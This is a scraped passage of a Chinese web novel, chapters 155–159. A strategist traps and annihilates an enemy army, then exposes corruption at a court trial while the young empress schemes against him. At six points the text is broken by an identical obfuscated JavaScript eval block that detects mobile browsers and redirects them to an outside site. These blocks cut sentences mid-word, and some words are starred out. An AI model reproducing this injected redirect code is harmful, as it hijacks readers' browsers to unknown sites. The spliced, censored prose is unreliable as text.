他用木杆将入口和出口的通道彻底划断。 “到那时,这一万猎狼军,就成了真正的,瓮中之鳖。” 萧青鸾看着沙盘上被封死的黑色棋子,只觉得这计策,毒辣,却又天衣无缝。 可她总觉得,以先生的手段,绝不会这么简单。 “那……第三幕呢?”她问。 “第三幕啊……”顾云舟拖长了语调,脸上的笑容变得高深莫测,“这第三幕,才是整出戏的精髓。” “它的名字,叫‘...还没想好’。” 他从旁边拿起一个不起眼的灰色小旗,插在了峡谷一侧的悬崖顶上。 “陛下还记得那个吓破了胆的监军吗?” 萧青鸾点头。 “狼烟起后,他会出现在这里。”顾云舟点了点那面灰色小旗,“他手上,会拿着一个我们从秦军那里缴获的扩音的玩意。他会对着下面被困的万名秦军,宣读精神污染。 “比如,屠戮铁壁关手无寸铁的数千平民。” “比如,纵兵劫掠,连婴儿都不放过。” 萧青鸾彻底愣住了。 **之前,先诛心? 让一个最讲“仁义道德”的腐儒,去说教一群虎狼之师? 这是何等荒谬 “与此同时,“龙一会拿出我送他的礼物。” 他从袖中取出一张图纸,在萧青鸾面前展开。 那上面画着一个她从未见过的东西,一个陶罐,里面似乎装着复杂的结构。 “这是我们仿制的‘霹雳弹’,我叫它‘惊雷’。威力不大,但声音够响,而且胜在精准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196123|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “龙一麾下最精锐的弓箭手,会用特制的火箭,将这些‘惊雷’,一个个地,精准地,射到秦军那些千夫长,百夫长的头顶上。” 顾云舟的嘴角勾起一抹残酷的弧度。 “陛下,您想象一下那个画面。” “一万名士兵被困在绝地,头顶上,是敌国官员在扰乱军心。然后,伴随着一声声‘天雷’炸响,他们的长官,一个接一个地,在他们面前被炸得血肉模糊。” “他们会怎么想?” “当恐惧和怀疑的种子种下,当他们发现自己的将军连自己都保不住。当那老东西喊出‘投降不杀,只诛首恶’的时候……” “他们会自己,发生哗变。” 萧青鸾看着眼前这个笑容和煦的先生 她感觉已经看到了那人间地狱般的场景。 士兵们在绝望中崩溃,为了活命,挥刀砍向自己的...。 “那……那万一……”,“万一他们……不哗变呢?” 顾云舟脸上的笑容没有丝毫变化。 他用一种理所当然的语气,轻轻说道: “哦,那龙一就会点燃埋在峡谷两侧山体里,那上百桶火油。” “那么他们就可以感受一下烧烤是什么滋味了。” “一万人,整整齐齐,谁也跑不掉。” 忘忧阁内,寂静无声音。 萧青鸾呆呆地看着顾云舟,脑中一片空白。 许久, “先生……这……这就……是全部的计划了?” “全部?” 顾云舟像是听到了什么好笑的事情,他摇了摇头。 他拿起那根细长的木杆,在巨大的沙盘上指向了遥远的,代表大秦王庭的那个位置。 “陛下,您太小看我了。” “这点动静,不过是开胃小菜,是给主菜上桌时,奏响的背景音乐罢了。” “这出戏,其实还有一个彩蛋。” “一个,能让大秦……十年之内,再不敢东望的彩蛋。” 第一百五十五章 缴枪不杀 西境,一线天。 风在呼啸,卷起沙石。 大秦统帅耶律猛骑在马上,他看着前方峡谷深处仓皇逃窜的炎国“驯虎营”,唾了一口唾沫。 “一群没卵子的!还以为是什么硬骨头!” 他身边的副将谄媚道:“将军神威,让这些软蛋闻风丧胆!” “传我将令!”耶律猛抽出弯刀,直指谷底,“全军突击!碾碎他们!一个不留!” “芜吼!” 一万铁骑发出震**吼,马蹄卷起烟尘,义无反顾地冲进了这条狭长的死亡通道。 一万对一三千优势在我。 在他们眼中,胜利唾手可得。 在他们眼中,前方那些背影,就是军功和赏赐。 他们冲得很快,快到没能听见,在他们全军涌入峡谷的那一刻,身后传来了一声沉闷的巨响。 轰隆! 像是地龙翻身。 耶律猛下意识地回头,瞳孔骤然收缩。 只见他们冲进来的那个宽阔入口,此刻正被无数滚落的巨石堵死。烟尘冲天而起,遮蔽了天日。 “怎么回事?!”他惊怒交加。 不等他想明白,峡谷的另一头,也传来了一声同样的巨响。 轰隆! 去路,也被堵**。 耶律猛的心,咯噔了一下。 不好。 这不是意外。 这是陷阱! “稳住!全军戒备!”他咆哮,试图稳住开始骚动的军队。 然而,更让他头皮发麻的事情发生了。 两道火墙从入口和出口处冲天而起,烈焰熊熊,将这片狭长的峡谷彻底变成了一个密封的铁罐头。 上天无路,入地无门。 所有人都勒住了战马,惊恐地四下张望。那些之前还在仓皇逃窜的驯虎营士兵,不知何时已经消失得无影无踪。 恐慌在士兵中无声地蔓延。 就在这时,一个声音响了起来。 那声音并不响亮,却清晰地回荡在每一个人的耳边。 “大秦国,镇西将军,耶律猛。” 声音来自头顶。 耶律猛猛地抬头,只见峡谷一侧的悬崖顶端,不知何时站着一个文官打扮的人。正是之前的那个大炎监军。 “铁壁关,守军三千六百人,投降后,被你下令尽数坑杀。可有此事?” 耶律猛脸色铁青:“装神弄鬼!弓箭手!给我射死他!” 然而,没等他的命令传达下去,声音再次响起,盖过了一切。 “铁壁关下,李家村,平民一百零三口,上至八十老翁,下至三月婴孩,无一活口。主谋,你麾下千夫长,阿古达。可有此事?” “王家镇,妇孺三百,被掳掠后充作**,肆意。。。主谋,你麾下百夫长,帖木儿。可有此事?” 每说一句,声音便高亢一分。 他不再是那个唯唯诺诺的腐儒,将猎狼军犯下的累累罪行,一条条,一桩桩,清晰无比地宣读出来。 许多秦军士兵的脸上开始变色。 他们想起了那些被屠戮的村庄,想起了那些哀嚎。当时他们只觉得快意,此刻在这绝地之中听来,却那么刺耳。 “一派胡言!”耶律猛气得发抖,“给我杀上去!杀” 他的话音未落,一声呼啸从天而降。 一枚黑乎乎的陶罐,拖着火星,划出一道抛物线,不偏不倚地落在了千夫长阿古达的头顶。 阿古达甚至来不及抬头。 轰! 一声清脆的炸响。 血肉横飞。 那位刚刚被点名的千夫长,连同他的战马,瞬间变成了一地模糊的碎块。 诡异的是周围的几个亲兵,除了被溅了一身血污,竟毫发无伤。 所有人都懵了。 这...这是什么?一个士兵失声尖叫起来。 “下一个,帖木儿。” 声音再次响起。 百夫长帖木儿吓得魂飞魄散,他怪叫一声,拨转马头就想往人群里钻。 但,晚了。 又一枚从天而降,精准地砸在了他头上。 轰! 又是一团血雾爆开。 士兵们惊恐地看着自己身边的长官,仿佛在看一个个即将引爆的**桶。 “轰!”“轰!”“轰!” **声此起彼伏。 每一个念到名字的军官,都在万众瞩目之下,被炸得粉身碎骨。 而那些普通的士兵,只要离得稍远,就安然无恙。 这恐怖的景象,摧毁了他们最后的心理防线。 “降者不杀!胁从不问!”孟天正的声音如同天神谕令, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196124|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “放下武器!只诛首恶!” “我投降!我投降!” 终于,一个年轻的士兵崩溃了,他扔掉手里的弯刀,翻身下马,跪在地上嚎啕大哭。 “将军!我们被骗了!这是个陷阱!”一个副将冲到耶律猛面前,面无人色地嘶吼,“我们快想办法突围啊!” 耶律猛看着周围一张张崩溃的脸,他知道,完了。 军心,已经散了。 他的骄傲,他的勇武,在这一刻都成了笑话。 “谁敢言降!杀无赦!”一刀砍下了那名副将的头颅。 (副官:?) 鲜血,溅了他一脸。 但这血,非但没能镇住场面,反而点燃了所有士兵心中最后一丝求生的火焰。 “杀了他!杀了他我们就能活!” 一个满脸血污的士兵,红着眼睛,举起弯刀,疯了一样冲向耶律猛。 一个人的疯狂,带动了一群人的疯狂。 绝望,会把绵羊变成饿狼。 “杀!” “杀光这些军官!” “投降!我们要投降!” 喊杀声,求饶声,哭喊声,响成一片。 骄傲的猎狼军,在这一刻,将屠刀挥向了自己的袍泽。 耶律猛,这位不可一世的悍将,被数十名、上百名他曾经看不起的“羔羊”团团围住。无数把弯刀,带着滔天的恨意与恐惧,狠狠地劈砍在他的身上。 他到死,眼中都带着一丝茫然。 他想不明白,自己怎么会败? 又怎么会,死在自己人的刀下? 随着最后一个军官倒在血泊中,峡谷内再次安静下来。 当啷。 第一把武器被扔在了地上。 紧接着,是成百上千把。 近七千名大秦士兵,扔掉了兵器,跪满了整个谷底,黑压压的一片 悬崖上,龙一默默地看着这一切。 他嘴角扯动了一下,只有他自己能听见的呢喃。 “开胃菜,上完了。” “先生准备的……那道主菜,又该是何等的滋味?” (感觉这张有点儿戏了,多多少少有点离谱) (对了现代篇要不就当成新shu一样看吧,我把女主加强的话有点脱节,人设和气势都差了些,萝莉风变御姐风咋样。) 第一百五十六章 吹捧 兵部尚书王德发,前几天还在朝堂上抱着柱子哭嚎的老头,此刻正捏着战报,手抖得像刚道过一样。 “王、王尚书,到底,到底如何了?”一个胆子大的言官颤声问道。 王德猛地一抬头,那张老脸写满了不敢置信。 他嘶吼出声,声音都破了。 “捷!大捷! “以驯虎营三百人为代价,全歼大秦精锐‘猎狼军’一万!俘虏近七千!” 所有文武百官,有一个算一个,全都傻了。 三百换一万?还搭上七千个俘虏? 这**是战报还是神话故事?你确定不是把双方的伤亡写反了? 一个武将下意识地揉了揉自己的耳朵,怀疑自己征战半生,是不是对“胜利”这个词有什么误解。 可那份盖着西境随军监军和驯虎营统领双重印信的战报,就那么明晃晃地摆在那。 事实,不容置疑。 一时间,整个太和殿,再无人敢言。 所有人的目光,都下意识地投向了龙椅之上的那位。 …… 神京城沸了。 当胜利的消息从宫中传出,整个城市都陷入了狂欢的海洋。 酒馆里的酒客把酒钱拍在桌上,高喊着“今日酒水,全算我的,为国师贺!”;街边的孩童追逐打闹,嘴里唱的不再是童谣,而是含混不清的“军神无敌”; 就连深闺中的女子,也忍不住掀开窗帘一角,想看看那位传说中能撒豆成兵的国师大人,究竟是何等模样。 顾云舟这个名字,在这一日,被神化了。 而作为本人的顾云舟,此刻正坐在庆功宴的主位上,有些头疼地看着眼前这张过分灿烂的笑脸。 “先生,此战能胜,全赖先生运筹帷幄。青鸾敬先生一杯。” 萧青鸾亲自为他斟满了酒,声音娇软,眼神亮晶晶的,充满了毫不掩饰的爱慕与崇拜。 她笑得那么甜,那么真诚,好像又变回了落霞谷那个一心依赖着他的小丫头。 周围的文武百官,更是把谄媚。 “国师大人真乃天神下凡啊!” “有国师在,我大炎何愁不兴!” 顾云舟微笑着举杯,与女帝的酒杯轻轻一碰,一饮而尽。姿态儒雅,无可挑剔。 只是,.... 演。 接着演。 这演技,不去横店领个盒饭都屈才了。 他能清晰地感觉到,萧青鸾给他斟酒时,那微凉的指尖触碰到他手背时,带来的一丝若有若无的寒意。 她的笑容很完美,但却让他感觉有点不对劲。 宴会的气氛热烈而融洽。 顾云舟应付着一波又一波前来敬酒的大臣,谈笑风生,滴水不漏。 可他的心,却越来越沉。 终于,宴席散去。 百官们心满意足地离去,准备回家好好回味一下,今天又是如何精准地拍到了军神的马屁。 萧青鸾也站了起来。 往常,她总会找各种借口,在国师府多留一会儿,或是探讨政务,或是批阅奏折,名为勤政,实为监视。 但今天,她没有。 她只是看了顾云舟一眼, 然后,她柔声说道:“先生辛苦了,早些歇息。” 说完,她便带着宫人,转身离去。 没有丝毫留恋。 顾云舟站在原地,脸上的笑容缓缓消失。 不对劲。 十分有十二分的不对劲。 这感觉,就像一个猎人,看着自己养的猎鹰越飞越高,高到快要挣脱自己手中的绳线时,非但没有焦虑,反而露出了一个温柔的微笑。 这不正常。 除非,她找到了新的,能把猎鹰从天上拽下来的法子。 夜深了。 国师府的书房内,灯火通明。 顾云舟独自一人坐在书案后,手指无意识地敲击着桌面。 窗外庆贺的喧嚣还未完全散去,但在此刻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196125|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他听来,却显得格外遥远和虚幻。 “国师大人,该歇息了。” 喜公公端着一碗安神的莲子羹,迈着小碎步走了进来,脸上堆着谦卑的笑。 他将羹汤放在桌上,然后开始手脚麻利地收拾起散乱的竹简。 顾云舟没有看他,只是淡淡地“嗯”了一声。 喜公公的身子几不可查地抖了一下。 他走到顾云舟身边,弯腰去拾一枚掉落在地上的竹简时,整个身子都挡住了门口的视线。 他的动作很快,声音压得比蚊子哼哼还轻,几乎是从牙缝里挤出来的。 “陛下……今日下午,秘密召见了玄鸟卫中,负责监视苏长青大人一家老小的那个暗桩。” 说完,他像是被火烫了一下,飞快地直起身子,抱着一堆竹简,头也不回地退了出去。 书房内,再次恢复了寂静。 顾云舟敲击桌面的手指,停住了。 他缓缓端起那碗莲子羹,入手温热。 秘密召见。 监视苏长青家小的暗桩。 他脑中瞬间闪过宴会上萧青鸾那过分灿烂的笑容,那转身离去时意味深长的眼神。 所有线索,在这一刻。 原来如此。 她终于明白了。 用武力,用权谋,用囚笼,都无法真正困住他。 于是,她换了一种方法。 她不再试图造一个更坚固的笼子。 而是选择,将一把刀,悄悄地架在了软肋上。 苏长青。 他一手提拔的朝堂栋梁,也是他在这世界里,为数不多的,可以称之为朋友的人。 她这是在告诉他。 先生,你的翅膀是硬了,可以翱翔九天。 可是你的心,你的软肋,还握在我的手心里啊。 顾云舟将那碗莲子羹举到唇边,轻轻吹了口气,然后一饮而尽。 甜得,有些发腻。 (那就又萝又御吧) 第一百五十七章 第一课是什么来着 “国师大人运筹帷幄,真乃武侯在世,卫霍重生啊!”。 “王大人此言差矣!”另一个御史立刻反驳,一脸正色,“武侯七擒孟获,国师大人一战定乾坤,高下立判!” 好家伙,为了拍马屁,连亮哥都拉出来踩一脚了。 顾云舟站在百官之首,对所有赞誉都只是谦虚地点头致意,一副高人模样。 内心OS:都冷静点,基本操作,勿6。再吹下去,朕……咳,本国师就要飘了。 就在这其乐融融,君臣和谐的氛围中,一个不合时宜的声音响了起来。 “陛下,臣有本要奏!” 刑部尚书,张怀忠,一个出了名的老顽固,手持玉笏,从队列中走出,扑通一声跪倒在地。 整个大殿瞬间安静了下来。 顾云舟的眼皮都没抬一下。 来了。 昨晚那碗莲子羹的后劲儿,终于上头了。 只听张怀忠声泪俱下。 “陛下!臣要**新任户部侍郎,苏长青!” 一石激起千层浪。 **苏长青? 谁不知道苏长青是国师大人一手提拔起来的头号马仔,**他,这跟指着国师的鼻子骂娘有什么区别? 这老头是疯了还是吃了金克拉? “张尚书,你……”御史中丞刚想出言呵斥,却被张怀忠打断了施法。 “陛下!苏长青推行‘清丈田亩’新政,手段酷烈,罔顾人情! 就在三日前,青州乡绅李员外,只因对丈量结果存有异议,竟被其麾下官吏逼得投井自尽! 如今青州民怨沸腾,长此以往,国本动摇啊陛下!” 老头子说得情真意切,不知道的还以为那投井的是他爹。 顾云舟心里吐槽。 这演技,放我们那旮沓,拿个影帝应该不过分。 所有人的目光,全都聚焦在了顾云舟身上。 然而, 这时,龙椅上响起了那个熟悉的声音。 “哎呀……” 萧青鸾微微蹙起眉头她看向顾云舟,声音很柔。 “先生,苏爱卿是您一手提拔的能臣,这张尚书所言……朕,朕一时也不知该如何是好。您看,此事该如何处置才妥当?” 漂亮。 这一手太极推得,简直是教科书级别。 她没有直接表态,而是把皮球干脆利落地踢了过来。 如果他顾云舟开口维护,那就是公然结党的口实,还会暴露他的软肋。那接下来,只会无穷无尽针对。 如果他不管,那他一手建立起来的团队,人心就散了。 她就那么静静地看着他,像个无助又全心依赖先生的小姑娘。她在等。 顾云舟心中了然。 小丫头长大了,不玩囚禁那套低级趣味了,开始玩心机了。 他缓缓出列,对着龙椅深深一躬。 所有人都等待着辩护。 “陛下。” “王子犯法,与庶民同罪。” 准备看戏的官员们,嘴巴瞬间张成了“O”型。 跪在地上的张怀忠,也猛地抬起头,一脸的难以置信。 顾云舟没有理会他们,继续说道:“臣虽与苏大人有师生之谊,但,国法为上,私情为下。” “臣以为,此事既有民怨,又有物证,理应交由大理寺、刑部、都察院,三司会审。” “彻查到底,绝不姑息!” “若苏长青确有罪,当依法处置,以儆效尤。若他清白无辜,亦当还他一个公道,以正视听。” “如此,方能给天下人一个交代,方能彰显我大炎律法之公正。” 说完,他再次躬身,退回原位。全场死寂。 所有人都傻了。 剧本不是这么演的啊!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196126|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不应该是跟这帮老顽固大战三百回合吗? 怎么……怎么国师自己先把刀递过去了? 萧青鸾脸上的惊讶,这一次不再是伪装。 她准备好的一系列后手,什么“朕也相信苏爱卿是清白的,但为了平息民怨,不如先暂停其职务”之类的说辞,全被堵死在了喉咙里。 他竟然主动要求最严厉的审查。 他把苏长青,就这么推了出去。 她看着他,他好像真的不在乎,不在乎那个门生的死活。 一瞬间,萧青鸾感觉自己一拳打在了棉花上。 她精心准备的杀招,就这么轻易的被化解了。 不,甚至不能算化解。 他根本就没接招。 他直接把棋盘掀了,然后告诉你,我们换个更刺激的玩法。 萧青鸾握着龙椅扶手的手指,不自觉地收紧。 良久,她才从牙缝里挤出几个字。 “准……准奏。便依先生所言,着三司会审。” 退朝的钟声响起。 顾云舟随着人流,缓缓走出太和殿。 回到国师府。 他挥退了所有下人,独自一人走进书房。 砰的一声,房门关上。 他走到窗边,负手而立,望向皇宫的方向。 小丫头,你真的长大了。 知道用战场上的刀剑杀不死我了,就开始用这软刀子了。 用我身边人的性命。 你想看我为了保住棋子,而自乱阵脚。 你想逼我,逼我在这朝堂之上,与你,与天下为敌。 好。 很好。 既然你划下了道,那我就陪你玩。 只是你似乎忘了一件事。 先生教你的第一课,是什么来着? 永远,不要把战场,设在对手最擅长的地方。 第一百五十八章 反转 刑部大堂,三司会审。 大堂内外,乌压压站满了人。从三品大员到九品芝麻官,凡是今天不用当值的,都挤进来看这场戏。 戏台子正中,顾云舟一袭绯色官袍,端坐主审位。 左手边,大理寺卿和都察院御史正襟危坐,眼观鼻鼻观心。 谁都知道,今天这场审判,主角只有一个。 堂下,苏长青一身囚服,笔直地跪着,脸上没有半点惊慌,反倒有些从容。 他的对面,一个穿着孝服的年轻人哭得撕心裂肺,上气不接下气, 大堂一侧,一道巨大的紫檀木屏风隔开了一片区域。 屏风后,一道模糊的倩影端坐不动,正是那位。 顾云舟知道她在看。 *可惜了,剧本拿错了。* “砰!” 惊堂木重重落下。 哭天抢地的年轻人一个哆嗦,哭声卡在了闪子眼。 顾云舟抬起眼,目光落在那年轻人身上,声音平淡。 “状告何人,所为何事,报上名来。” 年轻人立刻来了精神,指着苏长青,声泪俱下:“小人张三,状告户部侍郎苏长青,他,他推行新政,逼死家父!求国师为小人做主啊!” 他一边喊,一边“咚咚咚”地磕头,额头一片血红。 满堂官员顿时一阵骚动,窃窃私语声四起。 “啧啧,这苏侍郎看着文质彬彬,下手够狠的。” “新政嘛,总是要流血的,就是不知这次流的是谁的血。” 顾云舟对这些议论充耳不闻。他只是看着张三,问了一个问题。 “苏侍郎逼死你父亲的文书,可有?” 张三愣住了:“这……这哪有文书?他,他是用酷吏手段,日**迫,才让我父亲不堪受辱,悬梁自尽的!” “哦~。”顾云舟点了点头,“那就是没有直接证据咯。” 他转头看向苏长青:“苏爱卿,你有什么要说的吗?” 苏长青抬起头,朗声道:“回禀国师,臣奉旨清丈田亩,所有行事皆有法可依,有据可查。至于逼**命一说,纯属污蔑。” “空口白牙,谁都会说。”顾云舟淡淡道,“把你的法和据,都呈上来吧。” 很快,两名书吏抬着几个沉重的木箱走上堂。 箱子打开,里面是码放得整整齐齐的卷宗账册。 顾云舟没让别人动手,亲自走下案台,随手抽出一本卷宗,展开在众人面前。 “诸位请看。” “炎武二年冬月初三,陛下颁布新政诏书,于神京及周边三县试行田亩清丈,以新法计税,凡有隐田瞒报者,一经查出,罚三倍,官吏同罪。” 他放下第一本,又拿起第二本。 “冬月初十,户部下发《清丈田亩执行细则》,共三十六条,明确规定了清丈流程,补贴标准,以及对拒不配合者的惩处条例。 这份细则,经由三法司会签,陛下朱笔御批,在座的各位大人,应该都看过。” 他环视一周,那些原本等着看戏的官员,不少人下意识地避开了他的目光。 “这是苏侍郎下到清河县的所有政令,这是他与县衙交接的每一份文书,这是每一笔补贴款项的发放记录。 来,张三,你上前来。” 张三战战兢兢地挪了过去。 你睁大眼睛看清楚。”顾云舟指着账册上的一行字, 你父亲张老员外,名下共有良田三十亩,按照新政,应得迁苗补贴白银一十五两,误工补贴白银五两,共计二十两。 这笔钱,于腊月初八由县衙发放,上面有你父亲亲手画的押,认不认得?” 张三嘴唇哆嗦着:“认……认得。可,可钱是给了,但苏长青他……” “他做什么了?”顾云舟打断他,“是他派人打了你父亲,还是抄了你的家?” “都,都没有……” “那他做了什么,能把你父亲一个大活人给逼死?” “他……他天天派人上门,说要重新丈量我家的地,说我爹有隐田!我爹一辈子老实本分,哪受得了这个污蔑,一时想不开就……”。 “哦,原来是污蔑。” 顾云舟的嘴角一翘。 他转身回到案前,重新坐下,拿起惊堂木,轻轻敲了敲。 “本官现在不问你爹是**的了。本官问你,你爹,张老员外,是不是真的老实本分。” 张三一愣,下意识点头:“当然!家父在乡里,那是有口皆碑的大善人!” “很好。顾云舟点头,本官问你,你家三代单传,到你这辈,可有分家?” “没有。” “你家在神京南城有三进的大宅子,养着二十多个下人,对吗?” “是……是又如何?这是我家几代人攒下的家业!”张三有些急了。 “你先别急。本官再问你,你每个月去醉仙楼喝花酒,随手打赏的银子,就不下百两,对吗?” 张三的脸一下白了。 大堂里,一些精于算计的户部官员,已经开始掰着指头心算了。 顾云舟的声音还在继续, 住着豪宅,养着家仆,喝着花酒。 张三,本官很好奇,就靠你爹那三十亩地的收成,是怎么撑起你家这么大的开销的? “我……我家还有些铺子……” “什么铺子,如此赚钱?”顾云舟追问,“在哪条街,做什么生意,每月税银几何,户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196127|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部可有记录?” “我……我……”张三汗如雨下,一个字都说不出来了。 所有人都看明白了。 这根本不是什么**。 这他妈是一条被踩了尾巴的鼠,在狗急跳墙! 顾云舟看着他,眼神里最后一丝温度也消失了。 “来人。” “在!” “传户部主事,钱有为。” 片刻后,一个身材滚圆,满脸油汗的中年官员被带了上来。 顾云舟看都没看他,只是对书吏吩咐道:“去,把户部库房里,清河县最近五年的所有往来账目,全都搬过来。” 这下,连屏风后的萧青鸾都有点坐不住了。 她明白了。 他不是在审案。 他是在借着这个案子清洗户部! 账本堆成山。 顾云舟随手翻着。 “钱主事,本官问你,为何每年朝廷拨给清河县的农桑补贴,到了你这里,都要少上三成?” “还有,为何清河县上报的税粮,和你入库的数目,总对不上?” “最有趣的是这个。”顾云舟抽出一个信封,在指尖掂了掂, 你一个京官,为何每月都能收到清河县张老员外寄来的孝敬? 这信里写的‘土特产’,是哪种土特产,能值五百两银子?” 钱有为浑身发抖。 “国……国师饶命!饶命啊!” 他什么都招了。 他与张老员外勾结,上下其手,早已是多年的惯例。 张老员外名下何止三十亩地,隐瞒不报的足有三百亩! 这次苏长青推行新政,一板一眼,铁面无私,眼看就要查到他们头上。钱有为给他通风报信,张老员外知道大祸临头,畏罪**。 而这张三,就是被钱有为唆使,来京城告御状的。 目的就是搞臭苏长青,搅黄新政,保住他们这条利益链。 真相大白。 满堂哗然。 一场针对国师心腹的局,转眼间,成了一场惊天大案。 苏长青不仅无罪,反而有功。 “来人,将罪官钱有为,刁民张三,押入天牢,听候发落。” “苏长青清丈田亩,不畏豪强,揭露贪腐,有功于社稷,官复原职,另赏白银千两,以资嘉奖。” 他顿了顿,目光扫过堂下所有官员,尤其是那些来自户部的。 “户部,乃国家钱袋,竟藏污纳垢至此,触目惊心。” “臣,请旨彻查户部。” “自上而下,凡与此案有关联者,凡账目不清者,凡来历不明者,有一个,算一个。” “臣要亲自来查。” 第一百五十九章 系统瓦解 “陛下。” 他开口,声音平静。 “罪官钱有为,刁民张三,不过是被人推到台前的棋子。其背后,必有主使。” 此言一出,刚刚缓一口气的张怀忠,皮眼一紧。 来了,来了!他最怕的还是来了! 顾云舟的声音还在继续。 “构陷朝廷命官,阻挠富国新政,动摇社稷根基。此等罪行,若不严查,国法何在?朝纲何存?” 他的视线,移到了刑部尚书身上。 “张尚书,本官想问问你。是谁,给了你胆子?” 张怀忠噗通一声,跪倒在地。 “国师饶命!陛下明鉴!臣……臣是一时糊涂!臣鬼迷心窍啊!” 顾云舟看着他,笑了。 “糊涂?尚书大人一句糊涂,就想把罪责揭过去吗?” 他向前一步。 “还是说,尚书大人背后,还有人让你不得不糊涂?” 全场一静。 大家都不是傻子,自然晓得背后的人是谁。 时间一分一秒地流逝。 哗啦 一声轻响。 屏风,被从内向外,缓缓推开了。 一道身影,逆着光,走了出来。 她径直走到了大堂中央。 然后,她让侍女去扶起了跪在地上的苏长青。 苏长青下意识地想要后退。 “陛下,不可!” 侍女的手很稳,力气不大。 “苏爱卿,平身吧。是朕,让你受委屈了。” 整个大殿,鸦雀无声。 女帝是……在向臣子认错? 萧青鸾目光扫过一张张惊愕的脸。 “此事,不必再查了。” 她一字一句,清晰地说道。 “是朕的错。” “苏侍郎推行新政,雷厉风行,朕心甚慰。但……朕也听闻了一些风言风语,说苏侍郎少年得志,权力过重,恐有不妥。” “朕一时忧心,便……默许了张尚书的上奏。” “朕的本意,只是想敲打一下苏爱卿,让他行事能更周全些。却未曾想,竟被小人利用,酿成如此大错。” 她的话,说得合情合理,滴水不漏。 “苏爱卿,朕在这里,向你致歉。是朕识人不明,险些错怪了忠良。” 苏长青脑子一片空白,张着嘴,却一个字也说不出来。 他看着眼前的少女天子,又看了看不远处的先生。 他感觉自己像被做局了。 萧青鸾没有等他回答,直起身,声音恢复了帝王的威严。 “朕既有过,自当弥补。” “传朕旨意!” “户部侍郎苏长青,清正廉明,功在社稷,即日起,擢升为户部尚书,总领户部事宜!” “原刑部尚书张怀忠,听信谗言,识人不明,罢去其尚书之职,降为大理寺少卿,闭门思过!” 雷霆手段,恩威并施。 一贬一升之间,她不仅将自己的“过失”彻底抹平,还顺手将户部这个国之钱袋,牢牢地攥回了自己手中。 苏长青是你的学生没错。 可给他官做的,是我。 能让他做户部尚书的,也是我。 做完这一切,她才终于,正视着顾云舟。 她的眼神很复杂。 有委屈,有倔强,有**,甚至还有一丝……病态。 “先生。” 她轻声开口。 “现在,你满意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16196128|181177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?” 她向前走了一步,离他更近了。 大殿里的光线透过窗棂照在她脸上,映出她眼角一点晶莹。 “为了你的学生,朕……愿意向天下认错。” 为了你,我什么都愿意做。 那你呢?嗯? 我为了你什么都可以不要,可你心里从始至终都没有我的影子。 你说为什么呢,还是说你从始至终都是在骗我。 我的先生,是不是以为你不说我就不知道你在想什么,嗯? 